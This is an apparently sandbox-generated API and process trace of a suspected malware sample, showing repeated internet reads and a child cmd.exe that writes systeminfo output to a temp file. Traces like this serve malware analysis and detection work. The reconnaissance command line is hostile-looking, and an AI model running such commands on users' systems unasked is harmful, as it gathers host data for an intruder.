[0184.646] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x191, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.646] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2aa, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.647] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.647] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.647] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1dc, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.647] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x394, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.648] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.648] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.648] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x16d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.648] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x350, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.649] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.649] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1e2, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.649] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.650] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.650] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1f5, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.650] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.650] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x21, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.650] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.651] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.651] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x26b, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.651] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.651] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x204, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.652] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.652] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.652] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1a7, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.652] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.653] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x58, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.653] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.653] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.654] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.654] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x26f, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.654] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.654] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x69, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.655] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.655] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 Thread: id = 487 os_tid = 0x878 Thread: id = 553 os_tid = 0x360 Thread: id = 580 os_tid = 0xa7c Thread: id = 590 os_tid = 0xaf8 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x12a45000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0xb70" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 121 os_tid = 0x744 Thread: id = 122 os_tid = 0xb98 Thread: id = 123 os_tid = 0xb4c Thread: id = 124 os_tid = 0xb48 Thread: id = 125 os_tid = 0xb40 Thread: id = 126 os_tid = 0xb3c Thread: id = 127 os_tid = 0x864 Thread: id = 128 os_tid = 0x414 Thread: id = 129 os_tid = 0x230 Thread: id = 130 os_tid = 0x408 Thread: id = 131 os_tid = 0x7dc Thread: id = 132 os_tid = 0x798 Thread: id = 133 os_tid = 0x794 Thread: id = 134 os_tid = 0x764 Thread: id = 135 os_tid = 0x760 Thread: id = 136 os_tid = 0x758 Thread: id = 137 os_tid = 0x730 Thread: id = 138 os_tid = 0x728 Thread: id = 139 os_tid = 0x724 Thread: id = 140 os_tid = 0x71c Thread: id = 141 os_tid = 0x70c Thread: id = 142 os_tid = 0x700 Thread: id = 143 os_tid = 0x6fc Thread: id = 144 os_tid = 0x6f8 Thread: id = 145 os_tid = 0x6e4 Thread: id = 146 os_tid = 0x4c0 Thread: id = 147 os_tid = 0x480 Thread: id = 148 os_tid = 0x474 Thread: id = 149 os_tid = 0x470 Thread: id = 150 os_tid = 0x450 Thread: id = 151 os_tid = 0x444 Thread: id = 152 os_tid = 0x294 Thread: id = 153 os_tid = 0x218 Thread: id = 154 os_tid = 0x3fc Thread: id = 155 os_tid = 0x3f4 Thread: id = 156 os_tid = 0x3e8 Thread: id = 157 os_tid = 0x39c Thread: id = 158 os_tid = 0x390 Thread: id = 159 os_tid = 0x38c Thread: id = 160 os_tid = 0x388 Thread: id = 161 os_tid = 0x37c Thread: id = 162 os_tid = 0x374 Thread: id = 237 os_tid = 0x9d8 Thread: id = 238 os_tid = 0x9d4 Thread: id = 251 os_tid = 0xa50 Thread: id = 252 os_tid = 0x9c4 Thread: id = 281 os_tid = 0xb38 Thread: id = 282 os_tid = 0xb34 Thread: id = 283 os_tid = 0xb20 Thread: id = 299 os_tid = 0x728 Thread: id = 300 os_tid = 0x228 Thread: id = 301 os_tid = 0x894 Thread: id = 302 os_tid = 0x6a4 Thread: id = 333 os_tid = 0x51c Thread: id = 334 os_tid = 0x868 Thread: id = 335 os_tid = 0x82c Thread: id = 341 os_tid = 0xb14 Thread: id = 427 os_tid = 0x41c Thread: id = 428 os_tid = 0x7e8 Thread: id = 429 os_tid = 0xb28 Thread: id = 431 os_tid = 0x740 Thread: id = 497 os_tid = 0x43c Thread: id = 507 os_tid = 0x864 Thread: id = 508 os_tid = 0x9e0 Thread: id = 522 os_tid = 0x5b0 Thread: id = 534 os_tid = 0xad4 Thread: id = 535 os_tid = 0xad0 Thread: id = 541 os_tid = 0x984 Thread: id = 549 os_tid = 0x5ac Thread: id = 575 os_tid = 0x610 Thread: id = 581 os_tid = 0xa0c Thread: id = 587 os_tid = 0x244 Thread: id = 593 os_tid = 0x9bc Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x64e32000" os_pid = "0x86c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"systeminfo.exe > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 225 os_tid = 0x950 [0098.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fb50 | out: lpSystemTimeAsFileTime=0x18fb50*(dwLowDateTime=0xe3aa2b90, dwHighDateTime=0x1d51ed4)) [0098.640] GetCurrentProcessId () returned 0x86c [0098.640] GetCurrentThreadId () returned 0x950 [0098.640] GetTickCount () returned 0x25936 [0098.640] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb58 | out: lpPerformanceCount=0x18fb58*=22316480249) returned 1 [0098.641] GetModuleHandleW (lpModuleName=0x0) returned 0x4a440000 [0098.641] __set_app_type (_Type=0x1) [0098.662] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a467810) returned 0x0 [0098.663] __getmainargs (in: _Argc=0x4a48a608, _Argv=0x4a48a618, _Env=0x4a48a610, _DoWildCard=0, _StartInfo=0x4a46e0f4 | out: _Argc=0x4a48a608, _Argv=0x4a48a618, _Env=0x4a48a610) returned 0 [0098.678] GetCurrentThreadId () returned 0x950 [0098.678] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x950) returned 0x3c [0098.678] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0098.678] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0098.678] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.678] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.678] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fae8 | out: phkResult=0x18fae8*=0x0) returned 0x2 [0098.678] VirtualQuery (in: lpAddress=0x18fad0, lpBuffer=0x18fa50, dwLength=0x30 | out: lpBuffer=0x18fa50*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.678] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18fa50, dwLength=0x30 | out: lpBuffer=0x18fa50*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.679] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18fa50, dwLength=0x30 | out: lpBuffer=0x18fa50*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.679] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18fa50, dwLength=0x30 | out: lpBuffer=0x18fa50*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.679] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18fa50, dwLength=0x30 | out: lpBuffer=0x18fa50*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0098.679] GetConsoleOutputCP () returned 0x1b5 [0098.679] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1 [0098.680] SetConsoleCtrlHandler (HandlerRoutine=0x4a463184, Add=1) returned 1 [0098.680] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.680] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0098.680] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.680] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a46e194 | out: lpMode=0x4a46e194) returned 1 [0098.680] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.680] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0098.680] _get_osfhandle (_FileHandle=0) returned 0x3 [0098.680] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a46e198 | out: lpMode=0x4a46e198) returned 1 [0098.681] _get_osfhandle (_FileHandle=0) returned 0x3 [0098.681] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0098.681] GetEnvironmentStringsW () returned 0x369ab0* [0098.681] GetProcessHeap () returned 0x350000 [0098.681] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa78) returned 0x36a530 [0098.681] FreeEnvironmentStringsW (penv=0x369ab0) returned 1 [0098.681] GetProcessHeap () returned 0x350000 [0098.681] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x36afb0 [0098.681] GetEnvironmentStringsW () returned 0x369ab0* [0098.681] GetProcessHeap () returned 0x350000 [0098.681] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa78) returned 0x36afd0 [0098.681] FreeEnvironmentStringsW (penv=0x369ab0) returned 1 [0098.681] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e9a8 | out: phkResult=0x18e9a8*=0x44) returned 0x0 [0098.681] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x0, lpData=0x18e9c0*=0x18, lpcbData=0x18e9a4*=0x1000) returned 0x2 [0098.681] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x1, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x0, lpData=0x18e9c0*=0x1, lpcbData=0x18e9a4*=0x1000) returned 0x2 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x0, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x40, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x40, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x0, lpData=0x18e9c0*=0x40, lpcbData=0x18e9a4*=0x1000) returned 0x2 [0098.682] RegCloseKey (hKey=0x44) returned 0x0 [0098.682] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e9a8 | out: phkResult=0x18e9a8*=0x44) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x0, lpData=0x18e9c0*=0x40, lpcbData=0x18e9a4*=0x1000) returned 0x2 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x1, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x0, 